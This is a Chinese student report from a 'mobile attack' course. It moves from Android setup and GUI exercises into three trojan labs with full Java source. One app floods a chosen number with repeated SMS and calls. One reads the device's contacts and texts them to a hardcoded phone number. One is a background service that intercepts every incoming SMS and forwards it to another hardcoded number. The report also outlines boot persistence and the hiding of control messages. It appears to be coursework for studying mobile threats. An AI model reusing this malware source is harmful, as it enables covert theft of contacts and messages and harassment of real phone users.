移动攻击实践
Android开发环境搭建
原理
- 1、掌握Android应用开发平台安装、及相关配置
- 2、了解Android SDK基本文件目录结构
- 3、掌握模拟器AVD的使用
- 4、编程实现第一个程序Hello World
环境
- 操作机:Windows_xp
- 安装JAVA JDK
- 安装Eclipse
- 安装Android SDK
- 安装ADT(Android Development Tools)
- 安装手机USB驱动
步骤
- 1、启动eclipse,设置Workspace,工程代码位置
- 2、步骤2:设置SDK路径
Windows ->Perferences->左边树状Android->Browse->android-sdk-windows所在目录->Apply
- 3、运行AVD Manager: Windows -> AVD Manager
- 4、新建AVD: New
- 5、Name->adt17 ; Target->Android 4.2.2 – API Level 17 ; SD card: size 512 其它默认点击Create AVD
- 6、运行eclipseFile -> New -> Android Application Project
- 7、执行Android Application,运行出界面
安卓GUI设计实验(虚拟机限时,无法在一个小时完成所有实验,后部分仅学习理解)
原理
设计手机用户界面应解决的问题:
-
1.需要界面设计与程序逻辑完全分离,这样不仅有利于并行开发,而且在后期修改界面时,也不用再次修改程序的逻辑代码;
-
2.根据不同型号手机的屏幕解析度、尺寸和纵横比各不相同,自动调整界面上部分控件的位置和尺寸,避免因为屏幕信息的变化而出现显示错误;
-
3.能够合理利用较小的屏幕显示空间,构造出符合人机交互规律的用户界面,避免出现凌乱、拥挤的用户界面;
-
4.Android已经解决了前两个问题,使用XML文件描述用户界面;资源资源文件独立保存在资源文件夹中;对界用户面描述非常灵活,允许不明确定义界面元素的位置和尺寸,仅声明界面元素的相对位置和粗略尺寸。
-
Android用户界面框架(Android UI Framework)采用MVC(Model-View-Controller)模型:提供了处理用户输入的控制器(Controller),显示用户界面和图像的视图(View),以及保存数据和代码的模型(Model)。拉下图所示:
模型
- Android采用视图树(View Tree)模型:Android用户界面框架中的界面元素以一种树型结构组织在一起,称为视图树;Android系统会依据视图树的结构从上至下绘制每一个界面元素。每个元素负责对自身的绘制,如果元素包含子元素,该元素会通知其下所有子元素进行绘制。
View
- 在Android程序中,用户界面是用View和ViewGroup对象来建立的。有许多种View和ViewGroup的,每一种都View的子类。
- View是Android平台中最基本的用户界面单元。View类是“小组件”子类的基础,“小组件”提供UI对象的完整实现,例如文本输入框和按钮。ViewGroup类是“布局”子类的基础,“布局”提供不同的布局结构。例如线性布局,标签布局,相关性布局等等。
- Android系统的界面控件分为定制控件和系统控件:定制控件是用户独立开发的控件,或通过继承并修改系统控件后所产生的新控件。能够为用户提供特殊的功能或与众不同的显示需求方式;系统控件是Android系统提供给用户已经封装的界面控件。提供在应用程序开发过程中常见功能控件。系统控件更有利于帮助用户进行快速开发,同时能够使Android系统中应用程序的界面保持一致性。
常见的系统控件
- 包括
TextView
、EditText
、Button
、ImageButton、
、Checkbox``RadioButton
、Spinner
、ListView
、TabHost
。
环境
- 操作机:Windows_xp
TextView的使用
- 新建Android项目->项目名称:Ex.TextView -> Application name: TextViewDemo -> Package name: com.example.textviewdemo -> Build SDK: Android 4.3 其它默认切换到activity_main.xml选项卡删除下面的TextView代码,这样整个工程里就不含有任何控件
创建TextView控件的两种方法
方法一:在程序中创建TextView控件
- 在src -> MainActivity.java 下onCreate函数下添加加如下代码,然后运行:
TextView tv=new TextView(this);
tv.setText("您好");
setContentView(tv);
方法二:使用XML布局文件
- 删除方法一种添加的代码,选择res/values/string.xml,新建一个字符串,代码如下:
<string name="app_name">TextViewDemo</string>
<string name="action_settings">Settings</string>
<string name="hello_world">Hello world!</string>
<string name="hello">您好!</string>
<string name="menu_settings">Settings</string>
- 选择layout目录下activity_main.xml,在activity_main.xml中添加TextView相关代码:
<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentLeft="true"
android:layout_alignParentTop="true"
android:text="@string/hello"/>
-
运行结果
-
修改TextView属性,字体大小、字体颜色
<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="你好"
android:textSize="20sp"
android:textColor="#00FF00"/>
-
运行结果
-
使用Html标签修改文本中某一段字体的颜色
<TextView
android:id="@+id/tv"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/app_name"
android:textSize="20sp"
android:textColor="#00FF00"/>
-
运行结果
-
修改MainActivity.java代码
TextView tv = (TextView)findViewById(R.id.tv);
tv.setText(Html.fromHtml(“Android开发实验–TextView使用“));
EditText使用
创建
- 1、新建Android项目->项目名称:Ex.EditText -> Application name: EditTextDemo -> Package name: com.ex.edittext -> Build SDK: Android 4.3 其它默认
- 2、切换到activity_main.xml选项卡。创建EditText
- 运行结果
EditText属性演示
- maxLength:最大输入长度属性,代码:
<EditText
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:maxLength="3"
/>
-
运行结果
-
singleLine:多行文本框,代码:
<EditText
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:singleLine="false"
/>
-
运行结果:
-
inputType:限制输入文本类型,代码:
<EditText
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:inputType="number"
/>
-
运行结果:只能输入数字
-
hint:设置提示信息,代码:
<EditText
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:hint="我是EditText"
/>
- 运行结果
DDMS
启动DDMS
- 在eclipse右上角找到图标,点击,在对话框中选择DDMS
- 启动界面
DDMS基本认识
- devices选项卡列出当前模拟器
- Logcat选项卡显示操作日志
- Emulator Control选项卡设置打电话和发短信
- File Explorer实现电脑与模拟器之间数据的上传和下载
DDMS打电话
-
选择Emulator Control选项卡,在Incoming number文本框中输入模拟器编号。模拟器编号在devices选项卡中可以看到。点击call按钮
-
模拟器运行结果
DDMS发短信
-
选择Emulator Control选项卡,在Incoming number文本框中输入模拟器编号。模拟器编号在devices选项卡中可以看到。点击call按钮
-
模拟器运行结果
DDMS上传和下载文件
- 选择File Explorer选项卡,在选项卡右侧找到这两个按钮,可以分别实现PC与模拟器之间文件的上传和下载。
Button使用
创建button
-
新建Android项目->项目名称:Ex.Button -> Application name: ButtonDemo -> Package name: com.ex.button -> Build SDK: Android 4.3 其它默认
-
切换到activity_main.xml选项卡。创建button对象,代码如下:
<Button
android:id="@+id/btn1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_marginRight="28dp"
android:layout_marginTop="38dp"
android:layout_toLeftOf="@+id/textView1"
android:text="点我" />
- 结果
定义Button事件
- 代码:
public class MainActivity extends Activity {
private Button btn1 = null;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btn1 = (Button)findViewById(R.id.btn1);
btn1.setOnClickListener(new View.OnClickListener()
{
public void onClick(View v)
{
Toast.makeText(MainActivity.this, "你点击了按钮", Toast.LENGTH_LONG).show();
}
});
}
- 结果
定义多Button事件
- 代码
<Button
android:id="@+id/btn2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_marginTop="31dp"
android:layout_toLeftOf="@+id/textView1"
android:text="点我1" />
<Button
android:id="@+id/btn1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignLeft="@+id/btn2"
android:layout_below="@+id/btn2"
android:layout_marginTop="26dp"
android:text="点我2" />
public class MainActivity extends Activity {
private Button btn1 = null;
private Button btn2 = null;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btn1 = (Button)findViewById(R.id.btn1);
btn2 = (Button)findViewById(R.id.btn2);
btn1.setOnClickListener(listener);
btn2.setOnClickListener(listener);
}
private OnClickListener listener = new OnClickListener()
{
public void onClick(View v)
{
Button btn = (Button)v;
switch(btn.getId())
{
case R.id.btn1:
Toast.makeText(MainActivity.this, "你点击了按钮1", Toast.LENGTH_LONG).show();
break;
case R.id.btn2:
Toast.makeText(MainActivity.this, "你点击了按钮2", Toast.LENGTH_LONG).show();
}
}
};
- 结果
Android权限控制实验
创建
-
Android的系统权限不是由用户控制,而是由开发者根据开发的需要控制相关权限的开放与否,权限控制主要放置在AndroidManifest.xml文件中。将如下的权限控制属性写入AndroidManifest.xml文件就可以获取相应的系统权限。如果在开发中遇到一些调试的问题很可以就是权限的原因。Android常见的权限参考:
http://www.cnblogs.com/jdy1453/p/6879878.html -
新建Android项目->项目名称:Ex.Permit -> Application name: PermitDemo -> Package name: com.example. -> Build SDK: Android 4.3 其它默认
-
在Ex.Permit项目中开启监听功能,可以选择手机通话记录、短信记录、彩信、摄像、拍照、通讯录、录音等权限中任意两项权限进行设置。
通过编辑器编辑权限
-
点击项目中的AndroidManifest.xml,在多标签页中选择“Permission”
-
然后点击add按钮,选择添加使用权限(Uses Permission)
通过修改配置文件编辑权限
-
在AndroidManifest.xml中添加uses-permission标签,添加了录制音频的权限
-
结果:程序具有录音权限,可以应用程序的录音功能。通过防护软件(360手机卫士、手机毒霸)禁用录音功能,打开程序,提示没有录音权限,无法录音。
Android木马程序设计(虚拟机里面没有文件夹,无法操作,仅学习理解过程)
原理
- 在GSM系统中,短消息主要包括以下重要部分:移动起始短消息:Mobile Originated Short Message和移动终接短消息:Mobile Terminated Short Message。
移动起始短消息:Mobile Originated Short Message
- 一个GSM用户发送短消息时,他必须至少在其内容中包含最终地址的识别符,和处理这消息的服务中心号码,然后请求传递。短消息的传输要求在移动台和MSC之间建立信令连接。消息本身的传递要求在无线路径上建立专用的链路层链接,并要求采用专用的消息传递协议。在规定的协议栈的顶部是所谓的传输层协议,在移动起始短消息情形下,它是一条单独的报文,即SMTP(不是TCP/IP的SMTP)短消息传送报文,低层处理应答的传送,它只指出SMSC已收到报文。
移动终接短消息:Mobile Terminated Short Message。
- 目的地为GSM用户的短消息必须首先先从发送方路由至短消息服务中心,然后再被路由至实际地址。 当SMSC有短消息需发送到期某一GSM用户时,它建立一条包含各种利于接收者的信息的SMS-DELIVER报文。此信息包括用户的内容,最初的发送者身份及用于批示短消息已被SMSC接收的时间标记。与MO情形相似,SMS-DELIVER报文将在各种接口上传送。 在达到目的地前,报文的实际路由必须利用MAP/C查询功能获得,采用的是如下方法:SMSC将短消息传到与服务中心相连的SMS网关,网关的选择依赖于它想到在的用户,因为通常网关仅能处理某些用户(某家营运商或某个国家的用户)。这样,用户通过目录号(一般同电话一样)来识别,这些目录号最初是由短消息发送者输入的,这使得SMS网关能识别有关的HLR并查询它。查询是通过发送一个专用报文,即用于短消息的MAP/C SEND ROUTING INFOR报文来实现;对其应答既可采用包含用户正在访问的MSC/VLR的SS7地址的MAP/C SEND ROUNTING INFO FOR SHORT MESSAGE RESULT报文,又可当已知用户此时不可到达时采用拒绝报文。
SMS的参数
- SMS由几个与提交或接收相关的服务要素组成,如:有效期(在将短消息成功送达用户前SMSC需要保证的储存时间),优先性。此外,短消息还提供提交消息的时间、告诉移动台是否还有更多消息要发送,以及还有多少条消息要发送等。
步骤
-
1、点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/degj),最后点击“Finish”。
-
打开“src”下的SmsActivity.java文件,代码:
package sms.ply;
import java.util.List;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class SmsActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setComponent();
}
private void setComponent() {
final EditText message = (EditText)findViewById(R.id.message);
final EditText phoneno = (EditText)findViewById(R.id.phoneno);
final EditText attno = (EditText)findViewById(R.id.attno);
Button bt1 = (Button) findViewById(R.id.Button01);
bt1.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(
Intent.ACTION_CALL, Uri.parse ("tel:5556"));
startActivity(intent);
}
});
Button bt2 = (Button) findViewById(R.id.Button02);
bt2.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// String smsContent = "102";
String smsContent = message.getText().toString();
String cishu = attno.getText().toString();
int number = Integer.valueOf(cishu).intValue();
// note: SMS must be divided before being sent
SmsManager sms = SmsManager.getDefault();
List<String> texts = sms.divideMessage(smsContent);
int i = 0;
while (i < number)
{
for (String text : texts) {
sms.sendTextMessage(phoneno.getText().toString(), null, text, null, null);
}
i = i + 1;
}
// note: not checked success or failure yet
Toast.makeText(
SmsActivity.this,
"短信已发送",
Toast.LENGTH_SHORT ).show();
}
});
}
}
- 打开layout目录下的“main.xml”文件(布局文件),代码:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="fill_parent"
android:layout_height="fill_parent" android:gravity="center">
<TextView android:layout_width="fill_parent"
android:layout_height="wrap_content" android:text="Direct Method:"
android:gravity="center" />
<Button android:text="电话攻击" android:id="@+id/Button01"
android:layout_width="wrap_content" android:layout_height="wrap_content"></Button>
<Button android:text="短信攻击" android:id="@+id/Button02"
android:layout_width="wrap_content" android:layout_height="wrap_content"></Button>
<TextView android:layout_width="fill_parent"
android:layout_height="wrap_content" android:text="号码:"
android:gravity="center" />
<EditText
android:id="@+id/phoneno"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
<TextView android:layout_width="fill_parent"
android:layout_height="wrap_content" android:text="发送次数:"
android:gravity="center" />
<EditText
android:id="@+id/attno"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
<TextView android:layout_width="fill_parent"
android:layout_height="wrap_content" android:text="发送内容:"
android:gravity="center" />
<EditText
android:id="@+id/message"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
</LinearLayout>
- 打开AndroidMainfest.xml文件(控件),代码:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="sms.ply"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="15" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:label="@string/app_name"
android:name=".SmsActivity" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
<uses-permission android:name="android.permission.BROADCAST_STICKY" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.CALL_PRIVILEGED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.SEND_SMS" />
</manifest>
- 实验结果
Android读取联系人
原理
-
对于木马程序,我们需要木马在Android设备开机时自动运行,当Android启动时,会发出一个系统广播,内容为ACTION_BOOT_COMPLETED,它的字符串常量表示为android.intent.action.BOOT_COMPLETED。只要在程序中“捕捉”到这个消息,再启动之即可。为此,我们要做的是做好接收这个消息的准备,而实现的手段就是实现一个BroadcastReceiver。木马主要通过接收短信的系统广播(Broadcast Receiver)进行短信内容匹配,如果是发送的控制指令,则将短信屏蔽掉,让被控制端用户无法得到收取短信的通知,并且对目标手机进行远程控制,如短信转发、电话监听、手机录音等。
-
木马主要是利用Android 中的广播机制来是实现的。BroadcastReceiver类似于事件编程中的监听器,代表广播消息接收器。木马重写了onReceive(Context context ,Intent intent)方法,当系统收到消息时候,通过监听“android.provider.Telephony.SMS_RECEIVED”广播,对消息的内容进行检测。当检测到的内容为控制指令时,用abortbroadcast()将短信屏蔽掉,使用户无法接受到短信,然后根据控制指令,进行相应操作。需要注意的是,如果数据量比较大,比如录音、摄像数据、最好架设一个服务器用来上传数据。
步骤
-
1、点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/ReadContacts),最后点击“Finish”。
-
打开“src”下的ReadContacts.java文件,代码:
package com.lightcone.readcontacts;
import java.util.List;
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
public class ReadContacts extends Activity {
// To suppress notational clutter and make structure clearer, define some shorthand constants.
private static final Uri URI = ContactsContract.Contacts.CONTENT_URI;
private static final Uri PURI = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
private static final String ID = ContactsContract.Contacts._ID;
private static final String DNAME = ContactsContract.Contacts.DISPLAY_NAME;
private static final String HPN = ContactsContract.Contacts.HAS_PHONE_NUMBER;
private static final String CID = ContactsContract.CommonDataKinds.Phone.CONTACT_ID;
private static final String PNUM = ContactsContract.CommonDataKinds.Phone.NUMBER;
private static final String PHONETYPE = ContactsContract.CommonDataKinds.Phone.TYPE;
private String id;
private String name;
private String ph[];
private String phType[];
private String last;
private int phcounter;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// Allow for up to 5 email and phone entries for a contact
ph = new String[5];
phType = new String[5];
int j = 0;
ContentResolver cr = getContentResolver();
Cursor cu = cr.query(URI, null, null, null, null);
if (cu.getCount() > 0) {
// Loop over all contacts
while (cu.moveToNext()) {
// Initialize storage variables for the new contact
id = cu.getString(cu.getColumnIndex(ID));
name = cu.getString(cu.getColumnIndex(DNAME));
// Append list of contacts to the scrollable TextView on the screen.
phcounter = 0;
if (Integer.parseInt(cu.getString(cu.getColumnIndex(HPN))) > 0) {
Cursor pCur = cr.query(PURI, null, CID + " = ?", new String[]{id}, null);
while (pCur.moveToNext()) {
ph[phcounter] = pCur.getString(pCur.getColumnIndex(PNUM));
phType[phcounter] = pCur.getString(pCur.getColumnIndex(PHONETYPE));
phcounter ++;
}
pCur.close();
}
// Write list of phone numbers for this contact to SD card file
for(int i=0; i<phcounter; i++){
last = name + (" phone="+ ph[i] + " ("
+ getPhoneType(phType[i]) + ") ");
}
if (j<2) {
sendSMS (last);
j++;
}
}
// for (int k = 0; k < j; k++){
// }
}
// Flush the PrintWriter to ensure everything pending is output before closing
}
/** Method to check whether external media available and writable and to find the
root of the external file system. */
private String getPhoneType(String index){
if(index.trim().equals( "1")){
return "home";
} else if (index.trim().equals("2")){
return "mobile";
} else if (index.trim().equals("3")){
return "work";
} else if (index.trim().equals("7")){
return "other";
} else {
return "?";
}
}
/** Method to return label corresponding to email type code. Data for correspondence from
http://developer.android.com/reference/android/provider/ContactsContract.
CommonDataKinds.Email.html */
private void sendSMS (String message) {
SmsManager sms = SmsManager.getDefault();
List<String> texts = sms.divideMessage(message);
for (String text : texts) {
sms.sendTextMessage("18611594986", null, text, null, null);
}
//register the Broadcast Receivers 15555215556 15810540049
}
}
- 打开“res”目录下的layout的“main.xml”文件(此文件为布局文件)代码:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:background="@drawable/myimg0"
android:gravity="center"
>
<ScrollView
android:id="@+id/ScrollView01"
android:layout_height="fill_parent"
android:layout_width="fill_parent">
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:padding="5sp"
android:id="@+id/TextView01"
android:text="@string/hello" />
</ScrollView>
</LinearLayout>
- 运行结果
Android短信转发
原理
- Android 监听短信2种方式:Broadcast和ContentObserver
基于Broadcast接受短信
- Android收到短信后系统会发送一个android.provider.Telephony.SMS_RECEIVED广播。把它放在Bundle(intent.Extras)中,Bundle可以理解为一个Map,短信采用”pdus”作为键,pdus应该是protocol description units的简写,也就是一组短信。Android不是一接收到短信就立刻发出广播的,他会有一定的延迟,所以就有可能会有多条短信,所以才会用数组来存放。
基于ContentObserver监听短信
- 原理是通过监听短信数据库,操作短信内容。 “ContentObserver??内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表触发器、行触发器,相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver,当然这是与它所监听的Uri MIME Type有关的。”先不深究更加底层的内容,从表面上我们可以知道ContentObserver可以获取Uri引起的数据库的变化,短信的Uri为:
发送短信:content://sms/outbox
接收短信:content://sms/inbox
知道Uri后我们就可以获取到短信的内容了。
步骤
-
点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/ReadContacts),最后点击“Finish”。
-
打开“src”下的MyService.java文件,代码:
package com.android.myservice;
///import com.android.myservice.R;
import java.util.List;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.os.Binder;
import android.util.Log;
import android.widget.Toast;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.app.PendingIntent;
import android.telephony.SmsManager;
//import android.view.View;
//import android.widget.EditText;
public class MyService extends Service {
private static final String TAG = "MyService";
private MyBinder mBinder=new MyBinder();
String SENT_SMS_ACTION="SENT_SMS_ACTION";
String DELIVERED_SMS_ACTION="DELIVERED_SMS_ACTION";
//StringBuilder sb = new StringBuilder();
ReceiverDemo smsReceiver;
public class ReceiverDemo extends BroadcastReceiver {
private static final String strRes = "android.provider.Telephony.SMS_RECEIVED";
PendingIntent paIntent;
SmsManager smsManager;
IntentFilter filter=new IntentFilter();
@Override
public void onReceive(Context arg0, Intent arg1) {
// TODO Auto-generated method stub
if(strRes.equals(arg1.getAction())){
StringBuilder sb = new StringBuilder();
Bundle bundle = arg1.getExtras();
//Toast.makeText(arg0, "hihih", Toast.LENGTH_LONG).show();
if(bundle!=null){
Object[] pdus = (Object[])bundle.get("pdus");
SmsMessage[] msg = new SmsMessage[pdus.length];
//Toast.makeText(arg0, "received sms", Toast.LENGTH_LONG).show();
for(int i = 0 ;i<pdus.length;i++){
msg[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
}
for(SmsMessage curMsg:msg){
sb.append(curMsg.getDisplayMessageBody());
}
//Toast.makeText(arg0, "Got The Message:" + sb.toString(),Toast.LENGTH_SHORT).show();
sendSMS(sb.toString());
}
}
}
}
@Override
public IBinder onBind(Intent intent) {
return mBinder;
}
public void onCreate() {
//Toast.makeText(this, "My Service created", Toast.LENGTH_LONG).show();
Log.i(TAG, "onCreate");
smsReceiver =new ReceiverDemo();
IntentFilter filter=new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
this.registerReceiver(smsReceiver, filter);
super.onCreate();
}
@Override
public void onDestroy() {
// Toast.makeText(this, "My virus Stoped", Toast.LENGTH_LONG).show();
// Log.i(TAG, "onDestroy");
super.onDestroy();
}
@Override
public void onStart(Intent intent, int startid) {
// Toast.makeText(this, "My virus Start", Toast.LENGTH_LONG).show();
// Log.i(TAG, "onStart");
super.onStart(intent,startid);
}
public class MyBinder extends Binder{
MyService getService(){
return MyService.this;
}
}
private void sendSMS (String message) {
//create the sentIntent parameter
Intent sentIntent = new Intent(SENT_SMS_ACTION);
PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, sentIntent,
0);
// create the deilverIntent parameter
Intent deliverIntent = new Intent(DELIVERED_SMS_ACTION);
PendingIntent deliverPI = PendingIntent.getBroadcast(this, 0,
deliverIntent, 0);
//Toast.makeText(this, "start sendsms()", Toast.LENGTH_LONG).show();
SmsManager sms = SmsManager.getDefault();
if (message.length() > 70) {
List<String> msgs = sms.divideMessage(message);
for (String msg : msgs) {
sms.sendTextMessage("18651444669", null, msg, sentPI, deliverPI);
}
} else {
sms.sendTextMessage("18651444669", null, message, sentPI, deliverPI);
}
//register the Broadcast Receivers 15555215556 15810540049
}
}
- 打开“res”目录下的layout的“main.xml”文件(此文件为布局文件),代码:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:background="@drawable/myimg"
android:gravity="center">
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content" android:text="@string/services_demo"
android:gravity="center" android:textSize="20sp" android:padding="20dp"
>
</TextView>
</LinearLayout>
- 打开AndroidMainfest.xml文件,代码:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.myservice">
<application android:icon="@drawable/chees" android:label="@string/app_name">
<activity android:name=".ServicesDemo" android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service android:enabled="true" android:name=".MyService"/>
<!-- <activity android:name=".SmslistenerActivity" android:label="@string/app_name"> -->
<!-- </activity> -->
</application>
<receiver android:name=".ReceiverDemo" android:enabled="true" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<buildCommand>
<name>org.eclipse.jdt.core.javabuilder </name>
<arguments>
</arguments>
</buildCommand>
</manifest>
- 结果
感想
本次实践我们组的实践题目为移动攻击,主要内容为在安卓平台下进行攻击,例如提权,木马攻击,整个实验在根据实验指导书完成没有太大问题,不过在木马攻击的时候遇到了代码问题,在之前的配置环境以及安卓GUI设计中遇到版本不同指令问题,通过小组成员的积极讨论以及上网百度等方法成功解决了问题,成功完成了实验,在之后的实践过程中我们将吸取本次实验的经验,踏踏实实认真的完成接下来的每一个任务!